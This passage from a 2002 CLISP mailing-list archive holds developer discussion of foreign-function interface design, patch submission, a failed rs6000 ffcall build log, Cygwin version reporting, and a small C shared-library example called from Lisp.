obviously no C from our side involved. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux PI seconds is a nanocentury From peter.wood@worldonline.dk Wed Apr 24 08:12:55 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170ORx-0000ti-00 for ; Wed, 24 Apr 2002 08:12:53 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 4EF45B6F7 for ; Wed, 24 Apr 2002 17:12:50 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3OExFG00520; Wed, 24 Apr 2002 16:59:15 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020424165915.A513@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from noreply@sourceforge.net on Wed, Apr 24, 2002 at 06:43:49AM -0700 Subject: [clisp-list] Re: [ clisp-Patches-548089 ] FOREIGN-FUNCTION+VARIABLE for everybody Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:13:33 2002 X-Original-Date: Wed, 24 Apr 2002 16:59:15 +0200 On Wed, Apr 24, 2002 at 06:43:49AM -0700, noreply@sourceforge.net wrote: > Patches item #548089, was opened at 2002-04-24 15:43 > You can respond by visiting: > http://sourceforge.net/tracker/?func=detail&atid=301355&aid=548089&group_id=1355 > Hi, I couldn't find this patch at sourceforge. It lists 0 open patches. Joerg, why did you stop sending patches to the list? Regards, Peter From samuel.steingold@verizon.net Wed Apr 24 08:23:48 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170OcR-0002ZH-00 for ; Wed, 24 Apr 2002 08:23:43 -0700 Received: from gnu.org ([151.203.30.83]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424152330.DOUD21380.out012.verizon.net@gnu.org>; Wed, 24 Apr 2002 10:23:30 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 54 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:24:06 2002 X-Original-Date: 24 Apr 2002 11:23:35 -0400 > * In message > * On the subject of "[clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name" > * Sent on Wed, 24 Apr 2002 16:55:20 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > > Similarly, I want DEF-CALL-OUT with many options, some of which may be > > required, instead of DEF-C-CALL-OUT, DEF-LIB-CALL-OUT, > > DEF-LIB-C-CALL-OUT, DEF-LIB-STDCALL-CALL-OUT &c. > > Can you live with > (DEF-CALL-OUT FOO > (:name "compress") > (:library *zlib*) ; This and only this option gets evaluated... > (:return-type ...)) looks good; that's what we have now. > Could you describe how regexp could be turned into a .so on UNIX? > Maybe the UNIX link-kit script could provide the choice to create an > .so instead of a .o? Probably somebody there has already done that? regexp is a part of the POSIX standard and thus must be present in every libc. > Is there a ready-made regexp.so found on e.g. Linux distributions? > (Isn't regexp part of the Linux libc.a?) yes, regexp is in glibc. this brings this to mind - did you submit your regex.c patch to the glibc people? I want to use the glibc regex.c in clisp, dumping the 8-years old version we have right now for the brand new glibc 2.5 one. You needed some changes, and, since, I do not want to maintain a fork, I asked you to get the patch into the main glibc distribution. > > I abhor the "many names" approach. > I tend to dislike too much polymorphism as exhibited in UNIX' ioctl() > or setsockopt(). Some people find it cool that > open/close/read/write/ioctl is all you need on UNIX. I don't. It is > appealing, though. this is Lisp, not C! Look at DEFSTRUCT and DEFCLASS! Adding a new option is less stress than adding a new call, so, for the benefit of future modifications, _please_ keep the number of calls you define to a minimum and move everything to arguments (like we talked about REGISTER-FOREIGN -VARIABLE/-FUNCTION - this should be _one_ call). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux "Syntactic sugar causes cancer of the semicolon." -Alan Perlis From samuel.steingold@verizon.net Wed Apr 24 08:29:13 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170OhI-0003DV-00 for ; Wed, 24 Apr 2002 08:28:44 -0700 Received: from gnu.org ([151.203.30.83]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424152832.STNB5756.out001.verizon.net@gnu.org>; Wed, 24 Apr 2002 10:28:32 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [ clisp-Patches-548089 ] FOREIGN-FUNCTION+VARIABLE for everybody References: <20020424165915.A513@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020424165915.A513@localhost.localdomain> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:30:08 2002 X-Original-Date: 24 Apr 2002 11:28:43 -0400 > * In message <20020424165915.A513@localhost.localdomain> > * On the subject of "[clisp-list] Re: [ clisp-Patches-548089 ] FOREIGN-FUNCTION+VARIABLE for everybody" > * Sent on Wed, 24 Apr 2002 16:59:15 +0200 > * Honorable Peter Wood writes: > > On Wed, Apr 24, 2002 at 06:43:49AM -0700, noreply@sourceforge.net wrote: > > Patches item #548089, was opened at 2002-04-24 15:43 > > You can respond by visiting: > > http://sourceforge.net/tracker/?func=detail&atid=301355&aid=548089&group_id=1355 > > I couldn't find this patch at sourceforge. It lists 0 open patches. I checked it in and closed it. > Joerg, why did you stop sending patches to the list? because patches can be large and SF is the proper place for them. OTOH, if people prefer, (_not_ !) may be used for the patches instead of the SF. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux The world is coming to an end. Please log off. From pri.deContes@ifrance.com Wed Apr 24 08:46:53 2002 Received: from postfix2-2.free.fr ([213.228.0.140]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170Oyp-0005li-00 for ; Wed, 24 Apr 2002 08:46:51 -0700 Received: from localhost (nas-cbv-10-62-147-122-212.dial.proxad.net [62.147.122.212]) by postfix2-2.free.fr (Postfix) with ESMTP id 454685FAF6 for ; Wed, 24 Apr 2002 17:46:47 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v481) Content-Type: text/plain; charset=US-ASCII; format=flowed From: =?ISO-8859-1?Q?Thomas_De=A0Contes?= To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com> X-Mailer: Apple Mail (2.481) Subject: [clisp-list] installing clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 08:47:11 2002 X-Original-Date: Wed, 24 Apr 2002 17:47:31 +0200 ./configure bin finishs like that: is it normal ? gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o avcall-rs6000.c:3:Expected comma after segment-name avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ). avcall-rs6000.c:5:Unknown pseudo-op: .type avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:5:Invalid mnemonic 'function' avcall-rs6000.c:7:Unknown pseudo-op: .extern avcall-rs6000.c:7:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:8:Unknown pseudo-op: .extern avcall-rs6000.c:8:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:9:Unknown pseudo-op: .extern avcall-rs6000.c:9:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:10:Unknown pseudo-op: .extern avcall-rs6000.c:10:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:11:Unknown pseudo-op: .extern avcall-rs6000.c:11:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:12:Unknown pseudo-op: .extern avcall-rs6000.c:12:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:13:Parameter syntax error (parameter 1) avcall-rs6000.c:14:Parameter syntax error (parameter 1) avcall-rs6000.c:15:Parameter syntax error (parameter 1) avcall-rs6000.c:16:Parameter syntax error (parameter 1) avcall-rs6000.c:17:Parameter syntax error (parameter 1) avcall-rs6000.c:18:Parameter syntax error (parameter 1) avcall-rs6000.c:19:Parameter syntax error (parameter 1) avcall-rs6000.c:20:Parameter syntax error (parameter 1) avcall-rs6000.c:21:Parameter syntax error (parameter 1) avcall-rs6000.c:22:Parameter syntax error (parameter 1) avcall-rs6000.c:23:Parameter syntax error avcall-rs6000.c:25:Parameter syntax error (parameter 1) avcall-rs6000.c:26:Parameter syntax error (parameter 1) avcall-rs6000.c:27:Parameter syntax error (parameter 1) avcall-rs6000.c:29:Parameter syntax error (parameter 1) avcall-rs6000.c:30:Parameter syntax error (parameter 1) avcall-rs6000.c:31:Parameter syntax error (parameter 1) avcall-rs6000.c:32:Parameter syntax error (parameter 1) avcall-rs6000.c:33:Parameter syntax error (parameter 1) avcall-rs6000.c:36:Parameter syntax error (parameter 1) avcall-rs6000.c:37:Parameter syntax error (parameter 1) avcall-rs6000.c:38:Parameter syntax error (parameter 1) avcall-rs6000.c:39:Parameter syntax error (parameter 1) avcall-rs6000.c:41:Parameter syntax error avcall-rs6000.c:43:Parameter syntax error avcall-rs6000.c:45:Parameter syntax error avcall-rs6000.c:47:Parameter syntax error avcall-rs6000.c:49:Parameter syntax error avcall-rs6000.c:51:Parameter syntax error avcall-rs6000.c:53:Parameter syntax error avcall-rs6000.c:55:Parameter syntax error avcall-rs6000.c:57:Parameter syntax error avcall-rs6000.c:59:Parameter syntax error avcall-rs6000.c:61:Parameter syntax error avcall-rs6000.c:63:Parameter syntax error avcall-rs6000.c:65:Parameter syntax error (parameter 1) avcall-rs6000.c:67:Parameter syntax error (parameter 1) avcall-rs6000.c:69:Parameter syntax error (parameter 1) avcall-rs6000.c:71:Parameter syntax error (parameter 1) avcall-rs6000.c:73:Parameter syntax error (parameter 1) avcall-rs6000.c:75:Parameter syntax error (parameter 1) avcall-rs6000.c:77:Parameter syntax error (parameter 1) avcall-rs6000.c:79:Parameter syntax error (parameter 1) avcall-rs6000.c:81:Parameter syntax error (parameter 1) avcall-rs6000.c:83:Parameter syntax error (parameter 1) avcall-rs6000.c:85:Parameter syntax error (parameter 1) avcall-rs6000.c:87:Parameter syntax error (parameter 1) avcall-rs6000.c:89:Parameter syntax error (parameter 1) avcall-rs6000.c:91:Parameter syntax error (parameter 1) avcall-rs6000.c:92:Parameter syntax error (parameter 1) avcall-rs6000.c:93:Parameter syntax error (parameter 1) avcall-rs6000.c:94:Parameter syntax error (parameter 2) avcall-rs6000.c:95:Parameter syntax error (parameter 1) avcall-rs6000.c:96:Parameter syntax error (parameter 1) avcall-rs6000.c:97:Parameter syntax error (parameter 1) avcall-rs6000.c:98:Parameter syntax error (parameter 1) avcall-rs6000.c:99:Parameter syntax error (parameter 1) avcall-rs6000.c:100:Parameter syntax error (parameter 1) avcall-rs6000.c:103:Parameter syntax error (parameter 1) avcall-rs6000.c:104:Parameter syntax error avcall-rs6000.c:106:Parameter syntax error avcall-rs6000.c:108:Parameter syntax error avcall-rs6000.c:110:Parameter syntax error avcall-rs6000.c:112:Parameter syntax error avcall-rs6000.c:114:Parameter syntax error avcall-rs6000.c:116:Parameter syntax error avcall-rs6000.c:118:Parameter syntax error avcall-rs6000.c:120:Parameter syntax error avcall-rs6000.c:122:Parameter syntax error avcall-rs6000.c:124:Parameter syntax error avcall-rs6000.c:126:Parameter syntax error (parameter 1) avcall-rs6000.c:127:Parameter syntax error (parameter 1) avcall-rs6000.c:128:Parameter syntax error avcall-rs6000.c:130:Parameter syntax error avcall-rs6000.c:132:Parameter syntax error (parameter 1) avcall-rs6000.c:133:Parameter syntax error (parameter 1) avcall-rs6000.c:134:Parameter syntax error (parameter 1) avcall-rs6000.c:137:Parameter syntax error avcall-rs6000.c:139:Parameter syntax error (parameter 1) avcall-rs6000.c:140:Parameter syntax error (parameter 1) avcall-rs6000.c:143:Parameter syntax error avcall-rs6000.c:145:Parameter syntax error avcall-rs6000.c:147:Parameter syntax error (parameter 1) avcall-rs6000.c:148:Parameter syntax error (parameter 1) avcall-rs6000.c:150:Parameter syntax error (parameter 1) avcall-rs6000.c:151:Parameter syntax error avcall-rs6000.c:153:Parameter syntax error (parameter 1) avcall-rs6000.c:154:Parameter syntax error (parameter 1) avcall-rs6000.c:155:Parameter syntax error (parameter 1) avcall-rs6000.c:158:Parameter syntax error avcall-rs6000.c:160:Parameter syntax error (parameter 1) avcall-rs6000.c:161:Parameter syntax error (parameter 1) avcall-rs6000.c:162:Parameter syntax error (parameter 1) avcall-rs6000.c:165:Parameter syntax error avcall-rs6000.c:167:Parameter syntax error (parameter 1) avcall-rs6000.c:168:Parameter syntax error (parameter 1) avcall-rs6000.c:169:Parameter syntax error (parameter 1) avcall-rs6000.c:172:Parameter syntax error avcall-rs6000.c:174:Parameter syntax error (parameter 1) avcall-rs6000.c:175:Parameter syntax error (parameter 1) avcall-rs6000.c:176:Parameter syntax error (parameter 1) avcall-rs6000.c:177:Parameter syntax error (parameter 1) avcall-rs6000.c:178:Parameter syntax error (parameter 1) avcall-rs6000.c:179:Parameter syntax error (parameter 1) avcall-rs6000.c:182:Parameter syntax error (parameter 1) avcall-rs6000.c:183:Parameter syntax error (parameter 1) avcall-rs6000.c:184:Parameter syntax error (parameter 1) avcall-rs6000.c:186:Parameter syntax error (parameter 1) avcall-rs6000.c:188:Parameter syntax error (parameter 1) avcall-rs6000.c:189:Parameter syntax error (parameter 1) avcall-rs6000.c:190:Parameter syntax error (parameter 1) avcall-rs6000.c:191:Parameter syntax error (parameter 1) avcall-rs6000.c:192:Parameter syntax error (parameter 1) avcall-rs6000.c:196:Parameter syntax error (parameter 1) avcall-rs6000.c:198:Parameter syntax error (parameter 1) avcall-rs6000.c:199:Parameter syntax error avcall-rs6000.c:202:Parameter syntax error (parameter 1) avcall-rs6000.c:203:Parameter syntax error (parameter 1) avcall-rs6000.c:206:Parameter syntax error avcall-rs6000.c:209:Parameter syntax error (parameter 1) avcall-rs6000.c:210:Parameter syntax error (parameter 1) avcall-rs6000.c:213:Parameter syntax error avcall-rs6000.c:216:Parameter syntax error (parameter 1) avcall-rs6000.c:217:Parameter syntax error (parameter 1) avcall-rs6000.c:220:Parameter syntax error avcall-rs6000.c:223:Parameter syntax error (parameter 1) avcall-rs6000.c:224:Parameter syntax error (parameter 1) avcall-rs6000.c:225:Parameter syntax error (parameter 1) avcall-rs6000.c:226:Parameter syntax error (parameter 1) avcall-rs6000.c:228:Parameter syntax error (parameter 1) avcall-rs6000.c:229:Parameter syntax error (parameter 1) avcall-rs6000.c:230:Parameter syntax error (parameter 2) avcall-rs6000.c:231:Parameter syntax error (parameter 1) avcall-rs6000.c:232:Parameter syntax error (parameter 1) avcall-rs6000.c:235:Unknown pseudo-op: .size avcall-rs6000.c:235:Rest of line ignored. 1st junk character valued 95 (_). avcall-rs6000.c:236:Unknown pseudo-op: .ident avcall-rs6000.c:236:Rest of line ignored. 1st junk character valued 34 ("). cp: avcall-rs6000-sysv4.lo: No such file or directory rm -f avcall.lo avcall.o ln avcall-rs6000.lo avcall.lo ln: avcall-rs6000.lo: No such file or directory make: *** [avcall.lo] Erreur 1 To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd bin ./makemake --with-readline --with-gettext > Makefile make config.lisp vi config.lisp make make check From will@misconception.org.uk Wed Apr 24 09:09:54 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170PL6-0000dj-00 for ; Wed, 24 Apr 2002 09:09:52 -0700 Received: from modem-316.awesome.dialup.pol.co.uk ([62.25.129.60] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 170PL3-0003LE-00 for clisp-list@lists.sourceforge.net; Wed, 24 Apr 2002 17:09:49 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] installing clisp X-Mailer: KMail [version 1.3.2] References: <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com> In-Reply-To: <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 09:11:00 2002 X-Original-Date: Wed, 24 Apr 2002 17:11:29 +0100 On Wednesday 24 Apr 2002 4:47 pm, you wrote: > ./configure bin finishs like that: is it normal ? No. avcall-rs6000-sysv4.s is the correct assembler, just the wrong syntax, and gas is choking on it. I have a similar problem with HPUX+HP assembler and Linux/hppa+gas. It shouldn't be too hard to fix. Fixing the hppa build is on my list but not for two weeks. From rrschulz@cris.com Wed Apr 24 09:16:42 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170PRY-0001dH-00 for ; Wed, 24 Apr 2002 09:16:32 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g3OGGJB12063 ; Wed, 24 Apr 2002 12:16:24 -0400 (EDT) Received: from Clemens.cris.com (da003d0556.sjc-ca.osd.concentric.net [64.1.2.45]) by marconi.concentric.net (8.9.1a) id MAA08491; Wed, 24 Apr 2002 12:16:11 -0400 (EDT) Message-Id: <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: sds@gnu.org, dan.stanger@ieee.org From: Randall R Schulz Subject: Re: [clisp-list] Cygwin feature Cc: "clisp-list@lists.sourceforge.net" In-Reply-To: References: <3CC6C09C.77A88294@ieee.org> <3CC6C09C.77A88294@ieee.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 09:18:09 2002 X-Original-Date: Wed, 24 Apr 2002 09:00:24 -0700 Sam, I know you're not asking me, but I had to try this on the Windows stand-alone build I'm currently running (2.28) to see what it gave: [1]> (SOFTWARE-VERSION) "C compiler" Based on the results from (apropos "version"), I tried these as well: [2]> (LISP-IMPLEMENTATION-VERSION) "2.28 (released 2002-03-03) (built on ampy.LAIR [192.168.0.1])" [3]> (MACHINE-VERSION) "PC/686" [4]> (SYSTEM::VERSION) (20020129) The return from (SOFTWARE-VERSION) seems kind of non-specific, doesn't it? It also seems to me to be an odd answer to a query named "software-version". By the way, Dan, I use Cygwin extensively, so the Cygwin version would interest me greatly. I don't doubt the Cygwin principals would accept a CLISP package into the Cygwin contributed software. Randall Schulz Mountain View, CA USA At 07:42 2002-04-24, Sam Steingold wrote: > > * In message <3CC6C09C.77A88294@ieee.org> > > * On the subject of "[clisp-list] Cygwin feature" > > * Sent on Wed, 24 Apr 2002 08:26:36 -0600 > > * Honorable Dan Stanger writes: > > > > I could think of a few places where having a cygwin feature would be > > helpful. Currently, my cygwin build has no indication as to what > > environment it is running in. There are certain pathname translation > > functions in the cygwin dll that are sometimes usefull. Dan Stanger > >what does (software-version) say? > >-- >Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > > >Even Windows doesn't suck, when you use Common Lisp From peter.wood@worldonline.dk Wed Apr 24 10:41:15 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170QlW-0007na-00 for ; Wed, 24 Apr 2002 10:41:14 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 4D3C5B575 for ; Wed, 24 Apr 2002 19:41:09 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3OHPme00238; Wed, 24 Apr 2002 19:25:48 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) Message-ID: <20020424192547.A215@localhost.localdomain> References: <20020424163620.B342@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Apr 24, 2002 at 11:12:42AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 10:42:08 2002 X-Original-Date: Wed, 24 Apr 2002 19:25:47 +0200 On Wed, Apr 24, 2002 at 11:12:42AM -0400, Sam Steingold wrote: > > * In message <20020424163620.B342@localhost.localdomain> > > * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)" > > * Sent on Wed, 24 Apr 2002 16:36:20 +0200 > > * Honorable Peter Wood writes: > > > > On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote: > > > > > I thought that the DLL FFI will make the current module facility DLL > > > based too, i.e., while now modules create their own lisp.run by linking > > > lisp.a with their *.o files, the new modules will compile to *.so > > > (*.dll) and load them from the lisp code. > > > > You don't need this at all with the new FFI. Why would you want to > > compile a monolithic (for example) linux.lisp when you can dynamically > > (and selectively) define the foreign functions which you will be > > needing. Why do you need a .so when you can define your functions in > > _lisp_? What on earth do you need to fiddle with a module .so when > > you have /libc/libc.so.6? > > I was talking about the case when _you_ write something in C _yourself_ > and want to call that from Lisp. when you are using a pre-built DLL, > there is obviously no C from our side involved. Hi If you are already writing it in C, then you can just compile it as a shared object library and write a lisp-side defun: /*hello.c*/ #include int greet (char *who) { int n; n = printf("Hello, %s!\n", who); return (n); } /*end*/ compile: bash-2.04$ gcc -fPIC -c hello.c bash-2.04$ gcc -shared -Wl,-soname,libhello.so.l -o libhello.so.1.0.1 hello.o -lc bash-2.04$ ./lisp.run -q -M lispinit.mem ;; Loading file /home/prw/.clisprc ... ;; Loading of file /home/prw/.clisprc is finished. [1]> (load #"/home/prw/lisp/Linux/libc.lisp") ;; Loading file /home/prw/lisp/Linux/libc.lisp ... ;; Loading of file /home/prw/lisp/Linux/libc.lisp is finished. T [2]> (setf c::*base* (user::foreign-library "/home/prw/libhello.so.1.0.1")) # [3]> (c::deffun "greet" ((who ffi:c-string)) (ffi:int)) GREET [4]> (greet "Sam") Hello, Sam! 12 [5]> (greet "clisp-list") Hello, clisp-list! 19 [6]> (quit) Or did you mean something completely different? Regards, Peter From samuel.steingold@verizon.net Wed Apr 24 11:58:29 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170RyB-00049S-00 for ; Wed, 24 Apr 2002 11:58:27 -0700 Received: from gnu.org ([151.203.30.83]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424185815.GLWD21380.out012.verizon.net@gnu.org>; Wed, 24 Apr 2002 13:58:15 -0500 To: Thomas =?iso-8859-1?q?De=A0Contes?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] installing clisp References: <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 11:59:17 2002 X-Original-Date: 24 Apr 2002 14:58:25 -0400 > * In message <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com> > * On the subject of "[clisp-list] installing clisp" > * Sent on Wed, 24 Apr 2002 17:47:31 +0200 > * Honorable Thomas De=A0Contes writes: > > ./configure bin finishs like that: is it normal ? >=20 > gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o > avcall-rs6000-sysv4.o > avcall-rs6000.c:3:Expected comma after segment-name .... > make: *** [avcall.lo] Erreur 1 >=20 > To continue building CLISP, the following commands are recommended > (cf. unix/INSTALL step 4): > cd bin > ./makemake --with-readline --with-gettext > Makefile > make config.lisp > vi config.lisp > make > make check this means that FFI on your platform is broken. that's okay, the rest of CLISP should work fine. follow the instructions. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Live free or die. From samuel.steingold@verizon.net Wed Apr 24 12:00:50 2002 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170S0X-0004SX-00 for ; Wed, 24 Apr 2002 12:00:49 -0700 Received: from gnu.org ([151.203.30.83]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424185946.VWVD2361.out005.verizon.net@gnu.org>; Wed, 24 Apr 2002 13:59:46 -0500 To: Randall R Schulz Cc: dan.stanger@ieee.org, "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Cygwin feature References: <3CC6C09C.77A88294@ieee.org> <3CC6C09C.77A88294@ieee.org> <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 24 12:01:13 2002 X-Original-Date: 24 Apr 2002 15:00:48 -0400 > * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com> > * On the subject of "Re: [clisp-list] Cygwin feature" > * Sent on Wed, 24 Apr 2002 09:00:24 -0700 > * Honorable Randall R Schulz writes: > > I know you're not asking me, but I had to try this on the Windows > stand-alone build I'm currently running (2.28) to see what it gave: > > [1]> (SOFTWARE-VERSION) > "C compiler" on cygwin it should be more specific. > By the way, Dan, I use Cygwin extensively, so the Cygwin version would > 